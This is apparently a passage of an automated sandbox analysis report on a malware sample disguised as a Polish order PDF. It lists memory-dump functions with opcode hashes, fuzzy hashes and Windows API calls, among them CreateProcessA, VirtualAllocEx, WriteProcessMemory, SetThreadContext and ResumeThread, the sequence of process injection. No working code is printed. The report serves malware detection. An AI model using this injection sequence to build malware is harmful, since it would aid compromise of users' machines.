Opcode ID: 31ba40ad8f4ee1feec4237c6a79b0051c638fe1e2f773c71856059261a2ba8dd
Instruction ID: 6d985ada9b8f8a2a40de43ac9b939c057e7de3fd6ebc4fd0fb490578c5ad873e
Opcode Fuzzy Hash: 31ba40ad8f4ee1feec4237c6a79b0051c638fe1e2f773c71856059261a2ba8dd
Instruction Fuzzy Hash: 6FC1F574E05218CFEB64CF6AD898BADBBF2FB49301F1091A9D509A7250DB385D85CF11

Function 05F343E8 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 791eeb9979f1093c7025e09bc598b42dd538f4c2570adb6d4b9d92ff6905116b
Instruction ID: a9968551a0d127495608326e1860db6097e9c2a897a069ca9890575d7f9bab0f
Opcode Fuzzy Hash: 791eeb9979f1093c7025e09bc598b42dd538f4c2570adb6d4b9d92ff6905116b
Instruction Fuzzy Hash: 9CC1F470E05218CFEB64CFAAD898BADBBF6FB49301F1091A9D509A7250DB385D85CF10

Function 05F34836 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c203f96f5a28a04e5114377f473d77ee2ef927acf5c63b3cb0024c9d437e64f
Instruction ID: cfc5b6c39ec62af88a16ddce3d59e0cc55a4e13fb42e7329d267ba572cf78481
Opcode Fuzzy Hash: 5c203f96f5a28a04e5114377f473d77ee2ef927acf5c63b3cb0024c9d437e64f
Instruction Fuzzy Hash: 53C1D374E05218CFEB64CF6AD888BADBBB2FB49301F1091A9D509A7250DB385D85CF11

Function 0798EC68 Relevance: 4.2, Strings: 3, Instructions: 483
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 0798F1BC
Hq, xrefs: 0798F16C
Hq, xrefs: 0798F13D

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: Hq$Hq$Hq
API String ID: 0-2505839570
Opcode ID: 39a006b12f1ae1b1c6268df7844071c88e1677db5ee364da648d59d2b4d059f0
Instruction ID: 0839739e779cfdb0b43c3d1135df6289773229d6226f2f906da55e30584f8b52
Opcode Fuzzy Hash: 39a006b12f1ae1b1c6268df7844071c88e1677db5ee364da648d59d2b4d059f0
Instruction Fuzzy Hash: 53126DB0A013068FCB65EFA5D894A6EBBB6FF88304F14852DD5069B790DB35EC46CB50

Function 05F3A0F4 Relevance: 1.7, APIs: 1, Instructions: 207
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05F3A2DA

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cea06a6eb925b353232766b73fcd46058726ba78e88f12bb7d724d4ac2d99e14
Instruction ID: 22dc8596bf438f69ce829c7c4d07988fa226d999ebf559b27cf9ed00ee319ae9
Opcode Fuzzy Hash: cea06a6eb925b353232766b73fcd46058726ba78e88f12bb7d724d4ac2d99e14
Instruction Fuzzy Hash: FE811771D046499FEB10DFAAC8867EDBBF2BF48310F148129E895E7244DB799881CF81

Function 05F3A100 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05F3A2DA

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 81adc65f6265a82b85ea1b2683aa1e3b3a8a168a68987b1773c1ff6b143ced34
Instruction ID: 81573630ab0bb76835d50b0369e66b461a0481a750d59f9e650074297b0af6d5
Opcode Fuzzy Hash: 81adc65f6265a82b85ea1b2683aa1e3b3a8a168a68987b1773c1ff6b143ced34
Instruction Fuzzy Hash: C8811871D047599FEB10DFAAC8867ADBBF2BF48310F148129E895E7244DB799881CF81

Function 05F3AAD1 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05F3AB5F

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fbe4709ee61a54a122a0f64f71bffc156a748eb0a27ebbdcdf16f02ac64e8856
Instruction ID: f3999eb6564e4d55f69d199c927cbc98a666c14eb493dc72837f607c4a091ce9
Opcode Fuzzy Hash: fbe4709ee61a54a122a0f64f71bffc156a748eb0a27ebbdcdf16f02ac64e8856
Instruction Fuzzy Hash: 49212475D003099FDB10DFAAC885BEEBBF5FB48310F548429E969A7240C7799941CBA4

Function 05F3A3F0 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05F3A476

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2fb8c4bcf9414721fcb01b1c2dcb3bde5801ce83fc8e23bbad28d381cfda3579
Instruction ID: fd0526270a3ce294f35daef19ec82be9e28754ae7dcd407457050a8b65f84a0f
Opcode Fuzzy Hash: 2fb8c4bcf9414721fcb01b1c2dcb3bde5801ce83fc8e23bbad28d381cfda3579
Instruction Fuzzy Hash: E2213775D003099FDB10DFAAC485BEEBBF4AB48210F54842AD499A7240CB79A945CFA4

Function 05F3AAD8 Relevance: 1.6, APIs: 1, Instructions: 66
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05F3AB5F

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9c0fdcb363fe7e3808df128ca5459de5db2e8243a218e6c040849da1209f0c4d
Instruction ID: 025eb28769787152c61fb37d0de606b1ff399fd285f939f42991674bef3c68bd
Opcode Fuzzy Hash: 9c0fdcb363fe7e3808df128ca5459de5db2e8243a218e6c040849da1209f0c4d
Instruction Fuzzy Hash: 06212575D003099FDB10DFAAC845BEEBBF5BF48310F548429E969A7240C7799941CFA0

Function 05F3A3F8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05F3A476

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 89f3a717c36a84e12d1d046c6b70bdad913960a06104e0a5d50faf12f120355f
Instruction ID: 119e6e4119080b70a641aed32962525a0e6517127017797e8c96b291f839f8ef
Opcode Fuzzy Hash: 89f3a717c36a84e12d1d046c6b70bdad913960a06104e0a5d50faf12f120355f
Instruction Fuzzy Hash: 47211875D003098FDB10DFAAC4857AEBBF4FF48310F548429D559A7240DB799945CFA4

Function 05F3A8E0 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05F3A956

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 317b45859860b01b5ab78b2f6f4b6dad92cc1c75181d58ce5dbdbcb24b842e42
Instruction ID: 026a8b4a65f3c3556e6c04c12a67c7aa06c751b9756fb5638e09160da54ac666
Opcode Fuzzy Hash: 317b45859860b01b5ab78b2f6f4b6dad92cc1c75181d58ce5dbdbcb24b842e42
Instruction Fuzzy Hash: E1114776C003499FDB20DFAAC845BDEBFF5EB48320F148419E559A7250C7759901CBA0

Function 05F3A8E8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05F3A956

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 07e4c87bf29c1edc58bf0e2dbaf0452665b058eee05f8b950a4a5a45e5d1e891
Instruction ID: 4565397369fb64b34a6ff70811422245bb5da4073f7daa7d792015330cda7281
Opcode Fuzzy Hash: 07e4c87bf29c1edc58bf0e2dbaf0452665b058eee05f8b950a4a5a45e5d1e891
Instruction Fuzzy Hash: 08112675C003499FDB20DFAAC845BDEBBF5EF48320F548419E569A7250CB799940CFA0

Function 05F3AD78 Relevance: 1.6, APIs: 1, Instructions: 52
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 05F3ADE2

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4585364882d8a51db9fa4a73798962a5ba3f42574afd395e2f6c7ce91240c87c
Instruction ID: e3f48f1c5434a06e263dbf4a36b42ea412b9ada484738856378c95f6d97264bf
Opcode Fuzzy Hash: 4585364882d8a51db9fa4a73798962a5ba3f42574afd395e2f6c7ce91240c87c
Instruction Fuzzy Hash: 991158B1D003498FDB20DFAAC84579EFBF4EB48220F148429D459A7240CB79A941CB94

Function 05F3AD80 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 05F3ADE2

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 36a241fbc2724975aeeafdbcd1b3cb8979d2d03a13d1a8b536be4df2dc31105b
Instruction ID: 7859aef13562de881f823b15bfd1e50c83843e7c791cdf77ae1e72eb7cb6e8d3
Opcode Fuzzy Hash: 36a241fbc2724975aeeafdbcd1b3cb8979d2d03a13d1a8b536be4df2dc31105b
Instruction Fuzzy Hash: 09113AB5D003498FDB20DFAAC84579EFBF5EF48320F148419D559A7240CB796941CF94

Function 0798F9A0 Relevance: 1.3, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 0798F9D9

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: d757a9deaede452e5d06d063446cb2363babee93e1ce1c74e5602071f8907a53
Instruction ID: 10492095f862ae693d6038c91805d21635daaa694963f4e5994abe80ff739f1b
Opcode Fuzzy Hash: d757a9deaede452e5d06d063446cb2363babee93e1ce1c74e5602071f8907a53
Instruction Fuzzy Hash: FC2171317002049FCB55DF95D848E59BBB7FF8C311F1590A9EA0A9B361DA71EC12CB91

Function 016A0C02 Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 016A0C02

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: Teq
API String ID: 0-1098410595
Opcode ID: 34dce4b5c3b716680e826d16030a0d1bf14c4160bc338c8dc3b112354c4f9580
Instruction ID: de287f37f9f3897a42e1a2dc414bc47af67dc47fc9dff8c6c954b120433a0e23
Opcode Fuzzy Hash: 34dce4b5c3b716680e826d16030a0d1bf14c4160bc338c8dc3b112354c4f9580
Instruction Fuzzy Hash: 56014C30A04205CFCB549F788A546BDBAB2AF89608FA4442AF007AB350CB764D43CF55

Function 07975BA6 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

!, xrefs: 0797EAA9

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 3d9d5a5925ae6b471136eac88a3e3fc0fca2ef038309eef0fbb0c47b28473ed0
Instruction ID: 5136dc6668dd0973ca9c06295ee6f3dab6da580a6853abcc495510134b49933f
Opcode Fuzzy Hash: 3d9d5a5925ae6b471136eac88a3e3fc0fca2ef038309eef0fbb0c47b28473ed0
Instruction Fuzzy Hash: 6EF017B0B0A21DCFDB64DF99D958AA9BBB5FB49304F0044D9D40A97252DAB04E81DF60

Function 016A18AE Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ea514f5979a62d77e4625a7404bfc0c8654ac03470a92e59c9ae5f8dc6be826
Instruction ID: fa9d2acd160a8f3f19ee1b6cf0dfdcc62ba2dd9aa46163e561807959d9def237
Opcode Fuzzy Hash: 0ea514f5979a62d77e4625a7404bfc0c8654ac03470a92e59c9ae5f8dc6be826
Instruction Fuzzy Hash: 3C310570D012489FDB24CFA9C980AEEBFF5BF49310F648429E859AB350DB359946CF90

Function 016A18B0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1845a5117ee151144184a0c458953348cc4b4680adda0958d7dafaef5b50fb40
Instruction ID: add20f350676521cbf9f523ca2759b3391de3f9481242464b228741c5514a624
Opcode Fuzzy Hash: 1845a5117ee151144184a0c458953348cc4b4680adda0958d7dafaef5b50fb40
Instruction Fuzzy Hash: AD312870D012489FDB24CFA9C980ADEBFF5BF49310F648429E459AB350DB359945CF90

Function 0165D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601302678.000000000165D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0165D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_165d000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a7bd55481884beecc5bbd4e3d0c56e9b51e3d53bb8dd8a3722be337da05ec3
Instruction ID: 9be4780f5f62d854296f006f4cde67fa8f1fed057c0e863bd19c3f0bb7fd9334
Opcode Fuzzy Hash: 88a7bd55481884beecc5bbd4e3d0c56e9b51e3d53bb8dd8a3722be337da05ec3
Instruction Fuzzy Hash: 18210071604240DFDB55EF54DDC4B26BB65EB84324F208569ED090B382C336D84BCBA2

Function 016AFCC0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a90b7aa79fdf9d67f5ca766fb1ea3b889bd258401a6c87190ee6baa6cc7c576
Instruction ID: fef24792847ab2f1276ad27aba6dc67cf144368e9c03840336c85b66460551a5
Opcode Fuzzy Hash: 5a90b7aa79fdf9d67f5ca766fb1ea3b889bd258401a6c87190ee6baa6cc7c576
Instruction Fuzzy Hash: E431F831E00218AFDB55EFA9D840AEDBBB1FB49311F10816AE515AB350DB34AD45CF91

Function 0165D005 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601302678.000000000165D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0165D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_165d000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7619ebae080b51212dbe087325f453995c20e8ca3870aa2af606397827a5f86
Instruction ID: c6022ff9f01f187337048f5627997382a9d08f9cf615ae49150d975febf9a6cd
Opcode Fuzzy Hash: a7619ebae080b51212dbe087325f453995c20e8ca3870aa2af606397827a5f86
Instruction Fuzzy Hash: 0721B3711083809FCB03DF14D984B15BF71EB86320F2881EADC454B297C33AD81ACB62

Function 0798DC38 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5d8e0894160ad0b9b4709341933de86cb2c0c3f10b0c7f6cc5a7aec070ec80
Instruction ID: 61a379f488daa0bd461486923703d5fefc97b115d8f2c1d85c92198ec1d8723c
Opcode Fuzzy Hash: 7e5d8e0894160ad0b9b4709341933de86cb2c0c3f10b0c7f6cc5a7aec070ec80
Instruction Fuzzy Hash: EE1105B0E0020A9FDB44DFAAC8457AFBBF5FF88300F24846AD418B7394DB305A419B91

Function 0140D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601085304.000000000140D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0140D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140d000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f20e4727bdbdafdc2c0ae13015b704db78fa10c69eb36a097bec7cefcc0778b
Instruction ID: 139a553f8ef56d88cad0e71e37461dbb405cc53641f6ed2c5c2d3b50548c8c6b
Opcode Fuzzy Hash: 3f20e4727bdbdafdc2c0ae13015b704db78fa10c69eb36a097bec7cefcc0778b
Instruction Fuzzy Hash: 1C01A7319083849EE7224A96DC84B67FF98DF41625F14C47BED190B2D6C2789849CA76

Function 016A0B33 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e766dc97354e3e36bdad983277e964983b8cf257a37421d4742669418eefc9a0
Instruction ID: 1b0e7c876bfa8195273500c08bb277687c9b477d7804d0e8c0e137e2d5d3d280
Opcode Fuzzy Hash: e766dc97354e3e36bdad983277e964983b8cf257a37421d4742669418eefc9a0
Instruction Fuzzy Hash: 13017130604206CFDB459F78C9587BD7BF1AF49208F604869E0429B261DB364D03CF11

Function 07970ED9 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b3c2bdddf979cd12a10e5695d9265e5bdc51f841a435de40b799830444c4b78
Instruction ID: 0f5de739c14b358771f494ce6d129041fc8a80944f99867c62cd52607f579e3c
Opcode Fuzzy Hash: 6b3c2bdddf979cd12a10e5695d9265e5bdc51f841a435de40b799830444c4b78
Instruction Fuzzy Hash: 1C21A274A01A29CFDB60DF29DC94A9ABBB1FB08306F1140E9D41AA7750D7359EC5CF01

Function 07971AFB Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730538352d4a3f3c2d756e05d5437d2f1cd0947fc24dc7f0eb8a1a26b9dd1a3b
Instruction ID: 62d57d686e2959c4d9af4078e9af82cadfc36b298372b1e873574065b82978b5
Opcode Fuzzy Hash: 730538352d4a3f3c2d756e05d5437d2f1cd0947fc24dc7f0eb8a1a26b9dd1a3b
Instruction Fuzzy Hash: CE1107B4A01329DFDB64DF29D8846D9B7B2FB49304F1080E9D429A7654D7304F81DF50

Function 0140D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601085304.000000000140D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0140D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140d000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116a0ecd73326bbe58b0ea054d88c3a134de4987f8f903c5fc95341552290a8b
Instruction ID: 730b0a0e455881251d7268da078a5671564b9ae8dc12443fe7244f54afc6fec2
Opcode Fuzzy Hash: 116a0ecd73326bbe58b0ea054d88c3a134de4987f8f903c5fc95341552290a8b
Instruction Fuzzy Hash: 1BF0C271404384AEE7218A4ADC84B63FFA8EB41634F18C46FED090B2D7C2789844CA71

Function 016AFDC8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1601455143.00000000016A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16a0000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15251b82d1412b28d5eaca3e4a994ec375ffe32b8dba0e9fb22d4119e7904373
Instruction ID: 250837c7312dbbb5e36f44ac9012633a1312504bdfcc0b25e7934efa59e153e3
Opcode Fuzzy Hash: 15251b82d1412b28d5eaca3e4a994ec375ffe32b8dba0e9fb22d4119e7904373
Instruction Fuzzy Hash: DAF01474D00248EFDB40EFBED9507ADBBF2EB48211F4085AAC514D7241EB385A40CF81

Function 0798E000 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f923af927b57117acfd8e2415a05cd6ed34277b830b3a5631a85164bac085c7e
Instruction ID: 26ce88e8c353a6b23dcce13eed9de8b8e9c242892adb4f55f5291a18d751437e
Opcode Fuzzy Hash: f923af927b57117acfd8e2415a05cd6ed34277b830b3a5631a85164bac085c7e
Instruction Fuzzy Hash: 54F01CB4D08248FFCB90DFA9C850AADBBF8EB49300F14C4AAA868D3341D6359A51DF50

Function 0798F950 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e763a6b612b82675dad88210ad0aede2e29b929e6094d47e31f044e217fad7dc
Instruction ID: ac1c88b6c108fb2b513478e0e3821baf13e4822c6fbe6843ebc58d21b6ba656a
Opcode Fuzzy Hash: e763a6b612b82675dad88210ad0aede2e29b929e6094d47e31f044e217fad7dc
Instruction Fuzzy Hash: 2AE012316013155BC7209A26E88484BFB9BEFC0265710C939A50A8B215DAB0AD0A87D0

Function 0798BDA0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction ID: 78acd36bacde10283f02fac2fa61fb09db49c6265eaecf5ad38bc05abd655e38
Opcode Fuzzy Hash: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction Fuzzy Hash: 0AE0EDB4E04208FFCB94DFA8D85169CFBF8EB49304F14C0A9981893340D6359E51DF44

Function 07985178 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction ID: aacb7414828104ecda8880ec41c1b9813d902e83935688dbd71ef91a9f3a3ef8
Opcode Fuzzy Hash: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction Fuzzy Hash: 84E0EDB4D04208EFCB94DFA8D84169CFBF8EB49314F50C0AA980993344D6319A55DF44

Function 079892F8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b755e968ea96dc322e09bf39d0c49610de95d67fc7ccd3033aa9315ebdbe601
Instruction ID: b8a810ae77db61e8947e563810418eff9a6f2f04f7ddb35236a61b8888ef8328
